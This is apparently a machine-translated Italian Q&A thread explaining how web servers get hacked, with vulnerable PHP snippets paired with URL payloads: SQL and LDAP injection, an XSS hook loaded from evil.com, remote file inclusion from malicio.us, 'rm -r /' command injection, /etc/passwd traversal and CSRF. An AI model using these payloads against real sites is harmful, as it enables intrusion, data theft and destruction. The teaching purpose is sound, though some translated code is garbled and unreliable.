it-swarm.it

Come funziona l'hacking?

Sto specificamente parlando di server web, con Unix. Sono sempre stato curioso di sapere come gli hacker ottengono il punto di ingresso. Voglio dire, non vedo come un hacker può hackerare la pagina web quando l'unico metodo di accesso che hanno nel server è un URL. Mi manca qualcosa, perché non vedo in che modo l'hacker può accedere al server semplicemente modificando l'URL.

Per punto di ingresso intendo il punto di accesso. Il modo in cui un hacker entra nel server.

Potrei ottenere un esempio di come un hacker farebbe un punto di ingresso in un server web? Qualsiasi linguaggio C è accettabile. Non ho assolutamente esperienza nell'hacking

Un semplice esempio sarebbe apprezzato.

98
user7360

Hacks che funzionano semplicemente cambiando l'URL

  • Un esempio legittimo e uno malevolo
  • Alcuni esempi richiedono il funzionamento della codifica URL (in genere eseguita automaticamente dal browser)

SQL Injection

Codice :

$username = $_POST['username'];
$pw = $_GET['password'];
mysql_query("SELECT * FROM userTable WHERE username = $username AND password = $pw");

exploit (accede come amministratore senza conoscere la password):

example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGet
example.com/?username=Administrator&password=password' or 1=1--

Cross Site Scripting (XSS)

Codice :

$nickname= $_GET['nickname'];
echo "<div>Your nickname is $nickname</div>\n";

exploit (registratori che visitano l'utente come zombi in BeEF ):

example.com/?nickname=Karrax
example.com/?nickname=<script src="evil.com/beefmagic.js.php" />

Esecuzione di codice remoto

codice (esempio di Tylerl):

<? include($_GET["module"].".php"); ?>

exploit (scarica ed esegue codice arbitrario):

example.com/?module=frontpage
example.com/?module=Pastebin.com/mymaliciousscript

Iniezione comandi

Codice :

<?php
echo Shell_exec('cat '.$_GET['filename']);
?>

exploit (tenta di eliminare tutti i file dalla directory principale):

example.com/?filename=readme.txt
example.com/?filename=readme.txt;rm -r /

Iniezione di codice

Codice :

<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>

exploit (inject il comando phpinfo () che stampa informazioni di attacco molto utili sullo schermo):

example.com/?arg=1
example.com/?arg=1; phpinfo() 

Iniezione LDAP

Codice :

<?php
$username = $_GET['username'];
$password = $_GET['password'];
ldap_query("(&(cn=$username)(password=$password)")
?>

exploit (accede senza conoscere la password dell'amministratore):

example.com/?username=admin&password=adminadmin
example.com/?username=admin&password=*

Attraversamento del percorso

Codice :

<?php
include("./" . $_GET['page']);
?>

exploit (recupera/etc/passwd):

example.com/?page=front.php
example.com/?page=../../../../../../../../etc/passwd

Reindirizzamento/attacco in avanti

Codice :

 <?php
 $redirectUrl = $_GET['url'];
 header("Location: $redirectUrl");
 ?>

exploit (Invia l'utente dalla tua pagina alla pagina malvagia):

example.com/?url=example.com/faq.php
example.com/?url=evil.com/sploitCode.php

Impossibile limitare l'accesso all'URL

Codice :

N/A. Lacking .htaccess ACL or similar access control. Allows user to guess or by other 
means discover the location of content that should only be accessible while logged in.

exploit:

example.com/users/showUser.php
example.com/admins/editUser.php

Falsificazione richiesta su più siti

Codice :

N/A. Code lacks page to page secret to validate that request comes from current site.
Implement a secret that is transmitted and validated between pages. 

exploit:

Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
On evil page: <img src="http://example.com/app/transferFunds?amount=1500
destinationAccount=evilAccount#" width="0" height="0" />

Overflow del buffer (tecnicamente accedendo a un URL, ma implementato con metasploit

codice:

N/A. Vulnerability in the webserver code itself. Standard buffer overflow

Exploit (Metasploit + meterpreter?):

http://www.exploit-db.com/exploits/16798/
189
Chris Dale

Il modo (attualmente) più comune è attraverso i buchi nelle applicazioni PHP. Esistono dozzine di modi in cui questo potrebbe funzionare, ma eccone uno semplice e facile:

Immagina che il proprietario ignaro del sito decida di prendere una scorciatoia nel suo codice in modo tale che http://example.com/site.php?module=xyz in realtà carica prima alcuni template Shell e quindi esegui "xyz.php" per compilare il contenuto. Quindi forse scrive qualcosa del genere:

<h1>My Awesome CMS</h1>
<? include($_GET["module"].".php"); ?>
<p>See what I did there? Wow that was clever.</p>

L'hacker quindi visita il sito utilizzando il seguente URL:
http://example.com/site.php?module=http://malicio.us/evilprogram

Ora, invece di caricare il suo script locale, PHP esce e scarica http://malicio.us/evilprogram.php e lo esegue - eseguendo qualunque cosa PHP che l'attaccante desidera. Forse inviando spam, forse installando una backdoor Shell, forse cercando le password nei file di configurazione.

Esistono letteralmente migliaia di modi per hackerare un sito, ognuno romanzo come il prossimo. Quasi universalmente, coinvolgono un programmatore che non ha pensato a tutti i possibili input al loro programma e agli effetti inaspettati che potrebbero avere.

24
tylerl

Esistono 2 modi per esaminarlo, è possibile concentrarsi sul server stesso o sull'applicazione Web in esecuzione sul server.

Come server, può disporre di porte aperte che eseguono servizi a cui è possibile connettersi e ottenere l'accesso al server. Utilizzando exploit noti, è possibile ottenere l'accesso come root. Ad esempio, alcuni server FTP per Unix presentano vulnerabilità che possono essere sfruttate da strumenti come Metasploit per ottenere una shell di root.

Come applicazione, ci sono troppi modi per sfruttare un'applicazione mal scritta o configurata. Ad esempio, se si passa una query SQL come GET, è possibile manipolare l'URL stesso per eseguire un attacco SQL Injection e dump interi database. Ad esempio (a seconda della codifica del sito): http://www.mydomain.com/products/products.asp?productid=12 Nome utente UNION SELECT, password DAGLI UTENTI

Ancora una volta, tocchi un argomento enorme e spero che ti aiuti a focalizzare i tuoi prossimi passi.

11
schroeder

La risposta breve

Questa potrebbe non essere la domanda giusta.

Un hacker ...

... è un ingegnere sociale.

Sono più interessati alle loro interazioni con le persone che alle loro interazioni con i computer. Un hacker preferirebbe di gran lunga farti consegnare la tua password, piuttosto che forzarla brutalmente.

... sta cercando conoscenza ...

... e sa che la conoscenza è potere. Un hacker è più interessato a ottenere il numero della tua carta di credito di quanto non sia in realtà usando esso.

... usa la moralità come scusa ...

... non una causa. Questo è il motivo per cui molti hacker trarranno vantaggio da eventi politici orientati alla morale per diventare pubblici. Sanno che possono usare la moralità per giustificare le loro azioni agli occhi del pubblico.

... non viene catturato a meno che non voglia.

La maggior parte delle volte. Gli aspiranti hacker che saltano dentro senza alcun riguardo per la furtività o l'anonimato sono noti come "script kiddies" o "skiddies" all'interno della comunità di hacking. Ci sono molti più scherzi degli hacker, molto probabilmente, e saranno probabilmente il tuo più grande fastidio.

... non ha bisogno di attrezzi speciali o backdoor.

Il frontend che hai fornito è probabilmente sufficiente.

La lunga risposta

Puoi proteggerti dagli exploit in Metasploit tutto ciò che desideri. Un hacker entrerà dalla porta principale, se non praticamente, letteralmente.

La risposta che vuoi

Visto che alla gente non piace la risposta che io ho dato , per quanto adeguata, ti darò qualcosa di più lungo la linea di ciò che vuoi.

Agli hacker piace rimanere anonimi. Il primo passo in ogni attacco è mettere insieme una linea di proxy di qualche tipo, che si tratti di proxy SOCKS, zombi o semplici robot che formano una botnet. Ci sono alcuni modi per farlo, ma otteniamo alcuni delegati morti per motivi di discussione. Vai su Pastebin.com e fai una ricerca per 8080. Questa è una porta comune per i proxy Web. Scorri verso il basso nei risultati fino a trovare un elenco di indirizzi IP e fai clic per visualizzare il risultato. Dovresti avere un lungo elenco di proxy web. Posso garantire che molti, se non tutti, saranno morti. Siamo spiacenti, questo non è un tutorial per l'hacking.

Il prossimo passo è raccogliere informazioni apparentemente banali sul tuo obiettivo. Usando i suoi proxy, un hacker eseguiva i portcan, quindi sondava tutti i servizi che trova. Hai un sito web? Esploriamolo. Hai un server MySQL? Vediamo quale versione è. Esegui SSH? Vediamo se accetta password di testo o è limitato ai certificati.

Quindi l'hacker si siede, guarda ciò che ha raccolto e decide qual è il punto più debole del sistema. A seconda delle dimensioni del sistema, potrebbe tornare indietro e sondare un po 'di più, se c'è altro da sondare e sente di non aver acquisito una debolezza sufficiente. Una debolezza non deve essere un vero "buco" di sicurezza: deve solo essere il collegamento più debole. Forse hai un server FTP che non protegge contro il martellamento (tentativi di accesso ripetuti). Forse hai un server web con un sacco di moduli o URL potenzialmente sfruttabili. Vale la pena indagare ulteriormente.

Se necessario, l'attaccante potrebbe scrivere uno script o un programma per eseguire l'attacco finale, anche se non è sempre così. La maggior parte dei punti deboli può essere sfruttata con strumenti esistenti, quindi questo di solito non è necessario per gli hacker moderni. Tuttavia, occasionalmente gli hacker scoprono nuove falle di sicurezza nel software, nel qual caso a volte hanno bisogno di scrivere strumenti speciali per sfruttare tale software.

Un buon esempio di un programma di attacco palesemente evidente è quello usato per causare problemi sui server per un gioco chiamato Terraria. Questo non era il suo scopo originale, ma poiché espone vari exploit nel software del server, tende ad essere utilizzato per quello da altri. L'ho scritto in C #. Il codice sorgente è disponibile su GitHub . Gli exploit utilizzano la manipolazione bytecode per modificare il client esistente per inviare dati dannosi. Il server non prevede questi dati e reagisce in modi in cui non è stato progettato per funzionare. Scoprire exploit come questo può essere semplice quanto il reverse engineering del software target - dico semplice perché questo è diventato un compito sempre più facile con i moderni linguaggi riflessivi, come C # e Java. Programmi come .NET Reflector (a pagamento) e dotPeek (gratuito, per ora) lo rendono possibile con un clic di un pulsante. Un programmatore C # sufficientemente addestrato può quindi osservare il codice, determinarne la funzionalità e scrivere un programma per alterare questa funzionalità.

7
Zenexer

Un mio amico aveva un contratto per lavorare su un sito. Mentre lo notava, gli hacker sono entrati nel sito Web e hanno fatto cose che non gli piacevano. Dopo aver esaminato alcuni file di registro, ha notato che gli "hacker" hanno trovato il sito cercando su Google un errore mysql.

Quando sei in grado di iniettare sql, puoi fare quello che vuoi, come creare un account. Se riesci a caricare file (soprattutto php) hai la possibilità di poterlo eseguire. Se riesci a eseguirlo, puoi fare più danni come file di lettura/scrittura sul filesystem del server anche se non hai un account sul server linux/windows.

Un'altra tecnica sta irrompendo nel database, esaminando le password (specialmente se non sono sottoposte a hash) piuttosto che provare a stabilire una connessione ssh o ftp allo stesso indirizzo IP del sito e provare le combinazioni utente/password.

Inoltre non è necessario entrare nel server per essere hackerati. Qualcuno che ho incontrato mi ha raccontato una storia su come il software obsoleto era installato sul suo server. Gli aggressori lo hanno utilizzato per caricare ed eseguire il proprio file php che ha iniettato una riga di codice (per aggiungere un iframe) in ogni file index.php e index.html. In sostanza nessuno è stato in grado di visitare il sito. O reindirizzato o ha dato molti popup.

4
user5575

Quante volte abbiamo letto degli accessi senza password o "Joes"? Non richiede la conoscenza di Metasploit o qualcosa di veramente esotico per entrare dalla porta principale. Un po 'come una macchina da corsa seduta su un vialetto in una fredda mattina "Per favore, rubami".

2
jl01

Solo qualche altro esempio da prendere in considerazione.

Seguendo l'esempio di tylerl:

<?php
   if ( isset( $_GET[ 'id' ] ) ) include( $_GET[ 'id' ] . ".php" );
?>

Vettore di attacco:

http://victimsite.com/?id=php://filter/read=convert.base64-encode/resource=includes/configure

Questo è un file locale che include un attacco base64 a causa della mancanza di una codifica sicura, un utente malintenzionato è in grado di leggere quasi tutti i file sul sito o sul server che terminano in [.php], in questo caso leggendo il contenuto del file configure.php file, PHP restituisce un codice base64 dell'intero contenuto del file che può essere facilmente decodificato in testo leggibile.

Tuttavia, l'URL non valido non deve cercare buchi di convalida della sicurezza di input.

In molti siti di commercio web, il codice $ PHP_SELF riporta erroneamente il nome del file in cui yoursite.com/admin/administrators.php, $ PHP_SELF riportava il nome del file come amministratori.png, tuttavia se login.php veniva aggiunto come admin/administrators.php/login. php, quindi $ PHP_SELF riporta erroneamente login.php come nome file anziché amministratori.

Ad esempio, se la domanda di convalida della sessione di amministrazione viene posta in questo stupendo esempio:

* if (non una sessione di amministrazione valida) e ($ PHP_SELF non è = per login.php) quindi reindirizza a login.php *

La pagina non reindirizzerà mai a login.php perché $ PHP_SELF sta dichiarando in modo errato il vero nome file, quindi l'attaccante ha accesso al file administrators.php senza la necessità di credenziali corrette.

1
Taipo